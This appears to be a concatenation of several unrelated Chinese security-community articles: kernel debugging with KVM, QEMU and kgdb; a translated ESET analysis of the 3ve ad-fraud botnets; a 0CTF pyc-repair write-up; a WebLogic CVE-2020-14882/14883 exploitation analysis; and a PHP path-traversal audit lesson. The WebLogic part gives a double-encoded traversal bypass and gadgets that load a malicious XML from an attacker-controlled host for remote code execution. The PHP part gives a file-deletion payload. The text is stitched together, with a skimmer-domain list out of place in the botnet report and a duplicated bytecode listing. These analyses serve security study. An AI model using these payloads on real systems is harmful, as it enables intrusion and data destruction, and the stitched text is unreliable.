需要将自己添加进kvm、libvirtd用户组：
$ sudo adduser 用户名 kvm
$ sudo adduser 用户名 libvirtd
$ groups
打开libvirt-bin服务：
$ sudo service libvirt-bin start
然后打开virt-manager开始装虚拟机:
$ gksudo virt-manager
这个图形界面的virt-manager和vmware差不多，就这样直接装虚拟机就好了。
然后添加下面配置使虚拟机支持gdb调试：
<qemu:commandline>
<qemu:arg value='-S'/>
<qemu:arg value='-gdb'/>
<qemu:arg value='tcp::1234'/>
</qemu:commandline>
将要调试的内核源码树复制进虚拟机，准备调试。
之后在主机端进入gdb调试：
$ gdb vmlinux
(gdb) target remote 127.0.0.1:1234 //连接虚拟机,这时虚拟机已经断下
(gdb) b drv_open //在驱动程序的入口函数设置断点
(gdb) c
Countinuing. //让虚拟机重新跑起来
如果要调试驱动模块的话，要在虚拟机里加载该模块：
`$ insmod drv.ko`
然后再回到主机开始调试。
#### **0x03 用gdb和qemu调试内核**
用qemu其实和上面kvm的差不多（qemu也已经在上面那步装好了），这里介绍一个比较快速的方法。直接在qemu中启动已经编译好的Linux内核，不用再制作完整的启动镜像：
`qemu-system-x86_64 -s -S -kernel arch/i386/boot/bzImage -hda /boot/initrd.img
-append "root=/dev/hda" -gdb tcp::1234`
命令中的bzImage和initrd.img就是内核源码树中对应目录下的文件。
如果不需要图形界面的话可以加上下面的参数：
`-nographic`
在主机用gdb调试连接：
$ gdb vmlinux
(gdb) target remote:1234
和上面的差不多可以开始调试了。
#### **0x04 用kdb和kgdb调试内核驱动模块**
接下来介绍如何用kgdb和gdb来调试内核驱动。
kgdb 是一个在 Linux 内核上提供完整的 gdb 调试器功能的补丁。通过串口连线以钩子的形式挂入目标调试系统进行工作，然后远程运行 gdb。使用
kgdb 时需要两个系统——一个用于运行调试器，另一个用于运行待调试的内核。
当然，用两台VM虚拟机也是可以调试内核的，渣电脑开心地都哭了(つд⊂)
首先准备两台VMware虚拟机，直接复制之前配置好的虚拟机来创建一个新的就好。
**配置双机通信：**
将准备好的两台虚拟机添加串行端口，如果有并行端口记得先删除。注意箭头处的设置，一个得是客户端一个是服务端。
然后来验证一下是否成功连接。
先在客户机使用下面命令，准备接收消息：
`$ cat /dev/ttyS0`
然后在目标机（开启服务端的那个）输入下面命令：
`$ echo edvison > /dev/ttyS0`
如果没有显示就试下ttyS[0~3]
**配置串口调试：**
两个虚拟机都更改/etc/default/grub文件，在GRUB_CMDLINE_LINUX_DEFAULT这项后面加上kgdboc=ttyS1,115200，如果不需要图形界面启动的话可以加上text（最好目标机使用这个）：
然后`update-grub`一下，重启系统。
进入grub界面，选择要调试的内核版本。（没有进grub的话去把gurb文件里GRUB_HIDDEN_TIMEOUT这行注释掉）
出现下面的信息就说明配置成功了。
**开始调试：**
打开目标机，可以看到已经显示命令行界面了（之前配置里加了text）
编译、载入要调试的驱动（这里使用内核ROP的那个栗子，[源码](https://github.com/vnik5287/kernel_rop)在这里可以找到。
打开客户机，使用gdb准备开始连接调试：
编译加载好驱动后，在目标机里查看我们调试的驱动的加载基址，由于我们的驱动程序能直接打印基址，所以用dmesg命令查看就好：
另外还可以用下面的命令查看模块基址：
`cat /proc/modules | grep drv`
然后在目标机下输入下面的命令，使目标机进入被调试的假死状态：
`# echo g > /proc/sysrq-trigger`
接下来就可以在客户机里连接上目标机了：
之后在客户机里加载符号文件，并给驱动的入口函数device_ioctl()和device_open()设置断点：
输入c让目标机继续运行。
然后我们在目标机调试trigger程序，来调用内核模块的device_ioctl函数。
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "drv.h"
#define DEVICE_PATH "/dev/vulndrv"
int main(int argc, char **argv) {
int fd;
struct drv_req req;
req.offset = atoll(argv[1]);
//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
fd = open(DEVICE_PATH, O_RDONLY);
if (fd == -1) {
perror("open");
}
ioctl(fd, 0, &req);
return 0;
}
在open函数和ioctl下下断：
调试到这里后断下（直接运行./trigger
[offset]也能在客户机里断下），可以看到客户机已经进入了驱动程序的调试模式，接下来就可以随意进行调试了；)
#### **0x05 参考链接**
<http://blog.nsfocus.net/gdb-kgdb-debug-application/>
<https://qemu.weilnetz.de/doc/qemu-doc.html#direct_005flinux_005fboot>
<https://www.ibm.com/developerworks/cn/linux/1508_zhangdw_gdb/index.html> | 社区文章 |
### 事件介绍
国际执法部门强烈抨击制造虚假广告的团队。
在10月22日（星期一）这一天，一项涉及全球执法机构的黑客行动将目标瞄准了被称为“3ve”的网络广告欺诈团体。在2018年11月27日，此事件中里8名被告的13项起诉书被揭开。
在这八名被告中，有三名参与方被拘留并等待引渡。
多年来，广告欺诈活动一直困扰着互联网的广告生态系统。这些欺诈也使合法公司的收入逐渐减少。而在我们的分析中，这些广告欺诈的过程始终是相似的：尽管所有的诈骗行为都是自动化进行的，然而软件模仿用户，使其看起来好像真正的人点击链接或查看在线广告。
除了上述方法外，这里还存在另外一种广告欺骗策略——Stantinko。它监听了用户的点击次数，并将用户访问的页面重定向到具有欺诈信息的广告。在3ve的情况下，它并没有影响用户本身的想法情况下使其浏览广告信息。
上述的这些方案能够绕过现有欺诈防御措施的一个关键原因是其能确保伪造的请求来自大量拥有合法IP地址的用户。
3ve依靠至少两个不同的僵尸网络来访问这样一个地址：Boaxxe和Kovter。
自从ESET研究人员开始积极调查这两个僵尸网络以来，我们通过向执法部门提供技术数据来援助抗3ve的行动。当然，对于虚假网站的调查研究需要来自不同行业合作伙伴的合作，每个行业的合作者需要提供相关领域的专业知识，以更好地了解和制止威胁。
US-CERT发布了一个警告，交代了3ve的僵尸网络的攻击行为以及它如何与Boaxxe和Kovter僵尸网络进行交互。
除此之外，它还列出了一些预防措施，以避免受到这两个恶意软件的影响。如果用户部署ESET客户并且正在担心Windows系统可能会受到此威胁的危害，那么可以下载并使用免费的ESET在线扫描程序，它会消除系统中可能发现的所有包括Kovter和Boaxxe等威胁。
在这篇文章中，我们将详细介绍我们如何获得中断操作所需的Boaxxe和Kovter基础架构技术相关的数据。
### Boaxxe
我们已在2014年的两篇文章中发布了与此广告欺诈相关僵尸网络的详细分析。当时，Boaxxe（也称为Miuref）正在将用户流量重新路由到其控制的链接中来。
更具体地说，当受害者在搜索引擎中查找特定关键词时，它会将受害者的搜索结果点击链接重定向到它控制的网站而不是搜索引擎返回的网站。
这可以通过使用Firefox或Chrome浏览器扩展或在嵌入模式下使用Internet Explorer来实现。
但是，受Boaxxe攻击的系统能够代理流量，、使其看起来像是真正的链接。 3ve正在使用这种方式来实施它们的广告诈骗计划。
Boaxxe的代理功能非常简单：它从`C＆C`服务器接收RC4加密的DNS或HTTP请求，之后解密并执行它，最后将结果发送回`C＆C`服务器。
从3ve向受损Boaxxe系统发出的经典解密HTTP请求如下所示：
GET /banners/ajtg.js HTTP/1.1
Host: img.1rx.io
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: */*
Referer: http://eatingwell.com/recipes/17986/side-dishes/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
受感染的系统将发出此请求，并有效地“访问”被托管广告页面，之后将响应发送回其C＆C服务器。 这就是3ve利用Boaxxe受损的系统来进行其广告欺诈的方式。
有趣的是，我们曾发现过类似的攻击请求，因为从2016年初开始，3ve就开始向Boaxxe中不安全的系统发送过类似的请求。那时，只有来自美国IP地址中的Boaxxe服务器被用作代理，这表明3ve运营商主要对这个地区的广告流量感兴趣。
### Kovter
ESET在2014年首次检测到当时是勒索软件的Kovter。
从那时起，Kovter系列的恶意软件就已经向广告诈骗的方向发展。并在这些年增加了一些功能更为强大的欺骗和隐身技术。
值得注意的是在欺骗方面，如果它检测到有网络监视器的存在，那Kovter就能够发送虚假流量。倘若Windows任务管理器已经启动，则终止其自己的衍生进程。
现在，通过将其加密的恶意有效负载存储在Windows注册表中，并使用所谓的“无文件”持久性的技术，此恶意软件的隐蔽性则更强了。
此外，它确保了系统仅在未被使用或者显示器断电的情况下执行广告诈骗的操作。它还能够在用户查看广告时屏蔽所有视觉效果或声音效果。这也使得攻击对于用户来说并不明显。
3ve运营商利用Kovter僵尸网络的方式与Boaxxe不同。 受损的Kovter系统可以从其C＆C服务器接收任务，并使用隐藏的`Chrome
Embedded Framework`浏览器直接执行该任务。
至今为止，我们已经通过僵尸网络跟踪器平台追踪Kovter两年之久。而该系统也使我们能够实时跟踪当下最活跃的僵尸网络。通过分析追踪平台的数据，我们可以发现：僵尸网络的基础设施情况;
其不同的配置文件情况; 下载其恶意软件更新; 查看网络收到的命令; 获取安装的恶意软件详情。
ESET平台的主要作用是维护用户的平台以达到最高的保护级别，并能够丰富ESET威胁情报源。但是，它也可以用于提供中断操作的技术数据，例如我们在2015年参加的`Dorkbot`和2017年参加的`Andromeda
/ Gamarue`的技术数据情况。
如同Boaxxe一样，Kovter目前使用了多种不同的方式将恶意广告交付给毫无戒心的受害者，包括垃圾邮件，偷渡式下载和按次付费计划。
我们发现了一个有趣的现象，3ve在操作攻击的过程中使用Nemucod安装了这两个恶意软件。
如前所述，通过我们的Boaxxe监控，我们看到的3ve操作的第一个步骤是位于美国的受损系统被用于代理广告的欺诈请求。
根据Kovter的测试，我们可以看到Kovter僵尸网络的目标主要针对北美。
`Kovter C＆C`服务器进行分层工作。 首先，`Kovter bot`将检索存储在其资源部分中的静态配置。 配置文件使用以下格式加密存储：
<16 bytes reversed RC4 key><base64–encoded, encrypted data><16 bytes of padding>
此配置文件包含一级C＆C服务器列表以及网络通信所需的RC4密钥。
为了检索二级`C＆C`服务器，自动部署程序使用以下格式向第一级`C＆C`服务器发送`HTTP POST`请求：
RESP:BOT|c:IPS|vsn:1|<random hex string>
十六进制字符串由随机十六进制字符[0-9a-f]组成，并且其长度在32到128个字符之间。 POST请求使用随机RC4密钥加密。
而此随机密钥被附加到数据包，并使用静态配置文件中的RC4密钥对整个消息进行加密。
生成的通信通过原始套接字直接发送到第一级C＆C服务器。之后第二级C＆C服务器进行相应。这些过程负责将广告欺诈任务移交给自动化代码程序。
通过我们的Kovter跟踪，我们能够识别出几个一级和二级C＆C服务器。 这些数据已传递给执法部门并用以帮助进行中断操作。
1st skimmer: bootstrap-js[.]com
2nd skimmer: g-statistic[.]com
1st skimmer's exfil domain: bootstrap-js[.]com
2nd skimmer's exfil domain: onlineclouds[.]cloud
令人感到有趣的是，自中断操作以来我们已经看到当前第一级C＆C服务器的行为发生了变化。
他们目前将消息返回到传统的“`localhost`”IP地址（即127.0.0.1）作为他们的第二级C＆C服务器。
当然，我们无法知道这种变化背后的原因，但他们这样做很可能是为了暂停他们的僵尸网络，同时分析自己被打击的原因。
### 最终评论
广告诈骗僵尸网络已存在很长时间，并在此阶段花费了大量资金用于向全球的广告商家推广自己的诈骗网站。
通过打击其运营面，我们能够对其诈骗事件进行反击。除此之外，此方法也对破坏3ve运行规模以及维持互联网生态系统的完整性至关重要。ESET很自豪能够尽可能地发挥作用并提供帮助。
如果你认为自己感染了Boaxxe或Kovter病毒，我们将为您提供免费工具。`ESET Online
Scanner`可检测并删除恶意软件，包括数千种Boaxxe和Kovter模块。
有关3ve广告欺诈机制的更多详细信息可以通过在此处阅读有关此操作的Google和White Ops白皮书进行获取。
此文章翻译自：https://www.welivesecurity.com/2018/11/27/3ve-online-ad-fraud-disrupted/ | 社区文章 |
作者： [Hcamael@知道创宇404实验室](http://0x48.pw)
发布时间：2017-03-20
上周末的0CTF出现了一个pyc的题目，但是Pyopcode损坏，于是手撸了一波
题目: <https://github.com/Hcamael/CTF_repo/tree/master/0CTF%202017/Re3%28py%29>
通过pyc还原出py网上的资料挺多了，py也有专门的库可以还原，但是0CTF这题却无法还原，目测是opcode损坏，同时根据题目描述，也知道是要修复pyc文件。
这里用到两个库，一个`dis`，可以把二进制反编译CPython bytecode。一个是`marshal`，可以把字符串转换成pyopcode对象
>>> import dis, marshal
>>> f = open("crypt.pyc")
>>> f.read(4)
'\x03\xf3\r\n' # magic number
>>> f.read(4) # time
'f4oX'
>>> code = marshal.load(f)
# 对我们有用的属性有:
>>> code.co_argcount # 参数的个数
0
>>> code.co_varnames # 局部变量
()
>>> code.co_consts # 常量
(-1, None, <code object encrypt at 0x7f1987df65b0, file "/Users/hen/Lab/0CTF/py/crypt.py", line 2>, <code object decrypt at 0x7f1987e10430, file "/Users/hen/Lab/0CTF/py/crypt.py", line 10>)
# 从这个常量中我们可以看出，该py文件中定义了两个函数，encrypt和decrypt
>>> code.co_code
'\x99\x00\x00\x99\x01\x00\x86\x00\x00\x91\x00\x00\x99\x02\x00\x88\x00\x00\x91\x01\x00\x99\x03\x00\x88\x00\x00\x91\x02\x00\x99\x01\x00S'
# CPython bytecode的二进制, 可以通过dis反编译
>>> dis.disassemble_string(code.co_code)
0 <153> 0
3 <153> 1
6 MAKE_CLOSURE 0
9 EXTENDED_ARG 0
12 <153> 2
15 LOAD_DEREF 0
18 EXTENDED_ARG 1
21 <153> 3
24 LOAD_DEREF 0
27 EXTENDED_ARG 2
30 <153> 1
33 RETURN_VALUE
# 发现bytecode损坏，根本无法阅读
二进制对应的bytecode可以参考:
<https://github.com/Python/cpython/blob/2.7/Include/opcode.h>
从上面的参考连接可以得知153没有对应的bytecode，所以猜测bytecode损坏
每个bytecode所代表的意义: <https://docs.Python.org/2/library/dis.html>
>>> code.co_name # 当前对象名
'<module>'
>>> code.co_names # 当前对象中使用的对象名
('rotor', 'encrypt', 'decrypt')
# 从上可以看出，encrypt和decrypt是我们定义的两个函数，那么rotor我们可以猜测是通过import rotor得来的
rotor的使用可以参考: <https://docs.Python.org/2.0/lib/module-rotor.html>
# 我们可以通过以下方式查看两个函数中的信息
>>> enc = code.co_consts[2]
>>> dec = code.co_consts[3]
>>> enc.co_argcount
1
>>> dec.co_argcount
1
# 两个函数中都有一个传入的参数
>>> enc.co_varnames
('data', 'key_a', 'key_b', 'key_c', 'secret', 'rot')
>>> dec.co_varnames
('data', 'key_a', 'key_b', 'key_c', 'secret', 'rot')
# 两个函数中的局部变量, 我们可以猜测，data是传入的参数，需要加解密的数据
>>> enc.co_consts
(None, '!@#$%^&*', 'abcdefgh', '<>{}:"', 4, '|', 2, 'EOF')
>>> dec.co_consts
(None, '!@#$%^&*', 'abcdefgh', '<>{}:"', 4, '|', 2, 'EOF')
# 两个函数中的常量，我们可以猜测key_a, key_b, key_c三个变量对应的值
>>> enc.co_code
"\x99\x01\x00h\x01\x00\x99\x02\x00h\x02\x00\x99\x03\x00h\x03\x00a\x01\x00\x99\x04\x00F\x99\x05\x00'a\x02\x00a\x01\x00'a\x03\x00'\x99\x06\x00F'\x99\x05\x00'a\x02\x00\x99\x06\x00F'\x99\x07\x00'h\x04\x00\x9b\x00\x00`\x01\x00a\x04\x00\x83\x01\x00h\x05\x00a\x05\x00`\x02\x00a\x00\x00\x83\x01\x00S"
>>> dec.co_code
"\x99\x01\x00h\x01\x00\x99\x02\x00h\x02\x00\x99\x03\x00h\x03\x00a\x01\x00\x99\x04\x00F\x99\x05\x00'a\x02\x00a\x01\x00'a\x03\x00'\x99\x06\x00F'\x99\x05\x00'a\x02\x00\x99\x06\x00F'\x99\x07\x00'h\x04\x00\x9b\x00\x00`\x01\x00a\x04\x00\x83\x01\x00h\x05\x00a\x05\x00`\x02\x00a\x00\x00\x83\x01\x00S"
# 发现两个函数bytecode的二进制是一样的，操作是一样的？
>>> enc.co_name
'encrypt'
>>> enc.co_names
('rotor', 'newrotor', 'encrypt')
>>> dec.co_name
'decrypt'
>>> dec.co_names
('rotor', 'newrotor', 'decrypt')
# 通过研究rotor的用法，猜测两个函数的区别可能是在于rotor.newrotor(key).encrypt(data)和rotor.newrotor(key).decrypt(data)
所以现在的问题就在于，`key`是怎么来的，然后就开始了手撸CPython bytecode
>>> dis.disassemble_string(dec.co_code)
0 <153> 1
3 BUILD_SET 1
6 <153> 2
9 BUILD_SET 2
12 <153> 3
15 BUILD_SET 3
18 STORE_GLOBAL 1 (1)
21 <153> 4
24 PRINT_EXPR
25 <153> 5
28 <39>
29 STORE_GLOBAL 2 (2)
32 STORE_GLOBAL 1 (1)
35 <39>
36 STORE_GLOBAL 3 (3)
39 <39>
40 <153> 6
43 PRINT_EXPR
44 <39>
45 <153> 5
48 <39>
49 STORE_GLOBAL 2 (2)
52 <153> 6
55 PRINT_EXPR
56 <39>
57 <153> 7
60 <39>
61 BUILD_SET 4
64 <155> 0
67 DELETE_ATTR 1 (1)
70 STORE_GLOBAL 4 (4)
73 CALL_FUNCTION 1
76 BUILD_SET 5
79 STORE_GLOBAL 5 (5)
82 DELETE_ATTR 2 (2)
85 STORE_GLOBAL 0 (0)
88 CALL_FUNCTION 1
91 RETURN_VALUE
右边的数字为操作数，括号里的是注释
因为题目啥信息也没给我们。。。所以修bytecode只能靠猜
我们先假设这里所有的153为同一个操作符，同理所有的39也为同一个
先看第一部分
0 <153> 1
3 BUILD_SET 1
6 <153> 2
9 BUILD_SET 2
12 <153> 3
15 BUILD_SET 3
这是最容易猜的地方，右边的操作数为123，在看常量和局部变量的tuple，可以猜测是:
key_a = '!@#$%^&*'
key_b = 'abcdefgh'
key_c = '<>{}:"'
然后去上面给的参考文档里，查出对应的bytecode
0 LOAD_CONST 1
3 STORE_FAST 1
6 LOAD_CONST 2
9 STORE_FAST 2
12 LOAD_CONST 3
15 STORE_FAST 3
再去`opcode.h`中查其对应的值进行替换
>>> dis.disassemble_string(dec.co_code.replace("\x99","\x64").replace("\x68","\x7d"))
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 STORE_FAST 3 (3)
18 STORE_GLOBAL 1 (1)
21 LOAD_CONST 4 (4)
24 PRINT_EXPR
25 LOAD_CONST 5 (5)
28 <39>
29 STORE_GLOBAL 2 (2)
32 STORE_GLOBAL 1 (1)
35 <39>
36 STORE_GLOBAL 3 (3)
39 <39>
40 LOAD_CONST 6 (6)
43 PRINT_EXPR
44 <39>
45 LOAD_CONST 5 (5)
48 <39>
49 STORE_GLOBAL 2 (2)
52 LOAD_CONST 6 (6)
55 PRINT_EXPR
56 <39>
57 LOAD_CONST 7 (7)
60 <39>
61 STORE_FAST 4 (4)
64 <155> 0
67 DELETE_ATTR 1 (1)
70 STORE_GLOBAL 4 (4)
73 CALL_FUNCTION 1
76 STORE_FAST 5 (5)
79 STORE_GLOBAL 5 (5)
82 DELETE_ATTR 2 (2)
85 STORE_GLOBAL 0 (0)
88 CALL_FUNCTION 1
91 RETURN_VALUE
继续，发现肛不动了。。。。然后从底下开始肛
64 <155> 0
67 DELETE_ATTR 1 (1)
70 STORE_GLOBAL 4 (4)
73 CALL_FUNCTION 1
76 STORE_FAST 5 (5)
79 STORE_GLOBAL 5 (5)
82 DELETE_ATTR 2 (2)
85 STORE_GLOBAL 0 (0)
88 CALL_FUNCTION 1
91 RETURN_VALUE
根据之前得到的结论，可以猜测这里的代码是:
xxx = rotor.newrotor(secret)
return xxx.decrypt(data)
所以猜测上面的操作数，0指的是局部变量`data`，1指的是全局变量`newrotor`, 2猜测可能是全局变量`decrypt`,
4指的是局部变量`secret`, 5指的是局部变量`rot`，<155>的0可能指的是全局变量`rotor`
然后查找bytecode，改成:
64 LOAD_GLOBAL 0
67 LOAD_ATTR 1 (1)
70 LOAD_FAST 4 (4)
73 CALL_FUNCTION 1
76 STORE_FAST 5 (5)
79 LOAD_FAST 5 (5)
82 LOAD_ATTR 2 (2)
85 LOAD_FAST 0 (0)
88 CALL_FUNCTION 1
91 RETURN_VALUE
发现，合情合理，使人姓胡.....
然后和上面一样，整体替换bytecode:
>>> dis.disassemble_string(dec.co_code.replace("\x99","\x64").replace("\x68","\x7d").replace("\x61","\x7c").replace("\x60","\x6a").replace("\x9b","\x74"))
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 STORE_FAST 3 (3)
18 LOAD_FAST 1 (1)
21 LOAD_CONST 4 (4)
24 PRINT_EXPR
25 LOAD_CONST 5 (5)
28 <39>
29 LOAD_FAST 2 (2)
32 LOAD_FAST 1 (1)
35 <39>
36 LOAD_FAST 3 (3)
39 <39>
40 LOAD_CONST 6 (6)
43 PRINT_EXPR
44 <39>
45 LOAD_CONST 5 (5)
48 <39>
49 LOAD_FAST 2 (2)
52 LOAD_CONST 6 (6)
55 PRINT_EXPR
56 <39>
57 LOAD_CONST 7 (7)
60 <39>
61 STORE_FAST 4 (4)
64 LOAD_GLOBAL 0 (0)
67 LOAD_ATTR 1 (1)
70 LOAD_FAST 4 (4)
73 CALL_FUNCTION 1
76 STORE_FAST 5 (5)
79 LOAD_FAST 5 (5)
82 LOAD_ATTR 2 (2)
85 LOAD_FAST 0 (0)
88 CALL_FUNCTION 1
91 RETURN_VALUE
18 LOAD_FAST 1 (1)
21 LOAD_CONST 4 (4)
24 PRINT_EXPR
25 LOAD_CONST 5 (5)
28 <39>
29 LOAD_FAST 2 (2)
32 LOAD_FAST 1 (1)
35 <39>
36 LOAD_FAST 3 (3)
39 <39>
40 LOAD_CONST 6 (6)
43 PRINT_EXPR
44 <39>
45 LOAD_CONST 5 (5)
48 <39>
49 LOAD_FAST 2 (2)
52 LOAD_CONST 6 (6)
55 PRINT_EXPR
56 <39>
57 LOAD_CONST 7 (7)
60 <39>
61 STORE_FAST 4 (4)
猜测这部分就是局部变量`secret`计算的方法，最后一句`STORE_FAST 4`，猜测就是把上面计算后的值储存到`secret`中
整体看看，发现主要就剩`<39>`和`PRINT_EXPR`不通顺了。。。然后他们都是没操作数的，所以排除了调用函数，调用属性之类的
之后联想到最开头对`key_a, key_b, key_c`的赋值，然后目前的bytecode中没有任何运算操作
再来看这部分
18 LOAD_FAST 1 ("!@#$%^&*")
21 LOAD_CONST 4 (4)
24 PRINT_EXPR
所以猜测`PRINT_EXPR`, 是字符串和整型之间的操作运算
29 LOAD_FAST 2 ("abcdefgh")
32 LOAD_FAST 1 ("!@#$%^&*")
35 <39>
这里猜测`<39>`是字符串和字符串之间的操作运算
到这里，我们来想想，整型和字符串之间的操作有啥？
>>> "a"*3
>>> "aaa"[1]
>>> "aaa"[:1]
>>> "aaa"[1:]
字符串和字符串之间呢？
>>> "aaa" + "bbb" # 我只想到了这一个
从上面可以猜测出，`<39>`可能是字符串拼接的操作，然后`PRINT_EXPR`需要一个一个去试，现在我们可以还原出`decrypt`函数了:
# import rotor
def decrypt(data):
key_a = "!@#$%^&*"
key_b = "abcdefgh"
key_c = '<>{}:"'
secret=key_a*4 + "|" + (key_b+key_a+key_c)*2 + "|" + key_b*2 + "EOF"
# secret=key_a[4] + "|" + (key_b+key_a+key_c)[2] + "|" + key_b[2] + "EOF"
# secret=key_a[4:] + "|" + (key_b+key_a+key_c)[2:] + "|" + key_b[2:] + "EOF"
# secret=key_a[:4] + "|" + (key_b+key_a+key_c)[:2] + "|" + key_b[:2] + "EOF"
rot = rotor.newrotor(secret)
return rot.decrypt(data)
简直难受.......
* * * | 社区文章 |
# Weblogic未授权访问及命令执行分析复现（CVE-2020-14882/14883）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
### 漏洞概述：
WebLogic是美国Oracle公司的主要产品之一，是商业市场上主要的 J2EE 应用服务器软件，也是世界上第一个成功商业化的J2EE应用服务器，在
Java 应用服务器中有非常广泛的部署和应用。10月21日，Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/
CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制，最终远程执行代码接管WebLogic服务器，利用难度极低，风险极大。此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件，并且该漏洞通过HTTP协议进行利用，CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
### 漏洞编号：
CVE-2020-14882、CVE-2020-14883
### 漏洞等级：
高危，CVSS评分9.8
### 受影响的版本：
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
## 二、复现
### 复现环境：
本次测试是用的weblogic 10.3.6.0及weblogic12.2.1.3.0，weblogic12.2.1.4.0
### 权限绕过漏洞（CVE-2020-14882）复现：
在正常访问console后台时会提示输入帐号密码
对于其他路径也限制了访问，可以看到返回403通过未授权访问，则可以绕过验证直接访问后台。
可看到通过未授权访问的后台与正常登陆的后台相比，由于权限不足，缺少部署等功能，无法安装应用，所以也无法通过部署项目等方式直接获取权限。
‘%252E%252E%252F’即为二次URL编码过后的‘../’，通过这个就可以实现穿越路径未授权访问相关管理后台
### 任意代码执行复现：
利用上述未授权访问CVE-2020-14882结合CVE-2020-14883
**利用方式（一）：**
通过：com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext，这种方法最早在CVE-2019-2725被提出，该方法通用于各版本weblogic。这里首先需要我们构造一个恶意的xml文件，如这里我们自己搭建的<http://10.211.55.2:9999/rce-win.xml>。其次需要被攻击的weblogic能够访问我们的恶意xml。
其他gadget：
com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(“<http://IP/poc.xml>“)
**利用方式（二）：**
通过com.tangosol.coherence.mvel2.sh.ShellSession，但此利用方法只能在Weblogic
12.2.1及以上版本利用，因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
我们可以看到在当前10.3.6版本会提示
当使用12版本测试时，即可测试成功
**其他exp：**
比如回显的
或者POST形式 ：
### 调试分析：
首先，通过静态资源文件绕过路径权限的校验。之后weblogic会对提交的url进行两次url解码。最后会将handle中的参数传入HandleFactory执行任意代码。
从绕过路径权限的校验开始。首先weblogic的请求会经过weblogic.servlet.internal.WebAppServletContext#execute处理，这里会调用securedExecute()
跟进securedExecute，后会调用doSecuredExecute，继续跟进
weblogic.servlet.internal.WebAppServletContext#doSecuredExecute
在这里调用checkAccess进行权限的检查
进入weblogic.servlet.security.internal.WebAppSecurity#checkAccess()中可以看到当我们请求的路径为/console/console.portal时，checkAllResources为false
这里跟进weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()
这里即比较我们的relURI是否匹配我们matchMap中的路径，并判断rcForAllMethods和rcForOneMethod是否为null
当我们的relURI为/console.portal时，rcForAllMethods不为null，rcForOneMethod为null，所以返回了rcForAllMethods。而对应静态资源就不会有限制和校验
接下来回到checkAccess，如果这里是原来的/console.portal时，到这就结束了
如果使用console/images/console.portal则会继续判断resourceConstraint及后续的isAuthorized，并进入weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess
在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中会进入hasPermission校验权限
所以当我们这里使用静态资源路径时，unrestrict值就为true
之后会根据web.xml中的配置对应的AsyncInitServlet来到了weblogic.servlet.AsyncInitServlet#service
这里如果解码后的url里没有;，那么就会继续调用super.service
再次进入super.service()
最终不管哪种请求都会来到doPost，并在这里调用createUIContext
可以看到此时已经经过了一次解码
随后进入getTree又进行了一次解码，此时requestPattern就变成/css/../console.portal
之后来到com.bea.console.utils.BreadcrumbBacking#init类，进入findFirstHandle
这里会逐个检查参数中是否有handle并将handle的参数内容提取出来返回
最后将获取到的handleStr作为参数调用HandleFactory.getHandle(handleStr);此时也就来到了代码执行的入口
此时传进来的handleStr会在这里被拆成两部分，一个作为被实例化的类，另一个作为该类的构造函数参数及实例化，比如java.lang.String(‘aaaa’)，被拆分成java.lang.String和aaaa
所以我们就可根据此来构造gadget，最终通过反射机制在此触发
比如当我们构造了恶意gadget后就变成了这样，随后即可触发rce
## 三、修复
目前Oracle官方已发布了最新针对该漏洞的补丁，请受影响用户及时下载补丁程序并安装更新。
Oracle官方补丁需要用户持有正版软件的许可账号，使用该账号登陆<https://support.oracle.com>后，可以下载最新补丁。
参考链接：<https://www.oracle.com/security-alerts/cpuoct2020.html>
在旧版补丁中，使用黑名单过滤，可使用大小写绕过，请更新最新版的补丁，或者如无使用必要可选择关闭console。 | 社区文章 |
本文由红日安全成员： **水清云影** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第6篇**
代码审计文章：
## Day6 - Forst Pattern
题目叫福斯特模式，代码如下
**漏洞解析** ：
这一关考察的内容是由正则表达式不严谨导致的任意文件删除漏洞， 导致这一漏洞的原因在 **第21行** ， **preg_replace** 中的
**pattern** 部分 ，该正则表达式并未起到过滤目录路径字符的作用。`[^a-z.-_]` 表示匹配除了 **a** 字符到 **z** 字符、
**.** 字符到 **_** 字符之间的所有字符。因此，攻击者还是可以使用点和斜杠符号进行路径穿越，最终删除任意文件，例如使用 **payload** ：
`action = delete＆data = ../../ config.php`，便可删除 **config.php** 文件。
> [**preg_replace**](http://php.net/manual/zh/function.preg-replace.php)：(PHP
> 4, PHP 5, PHP 7)
>
> **功能** ： 函数执行一个正则表达式的搜索和替换
>
> **定义** ： `mixed preg_replace ( mixed $pattern , mixed $replacement , mixed
> $subject [, int $limit = -1 [, int &$count ]] )`
>
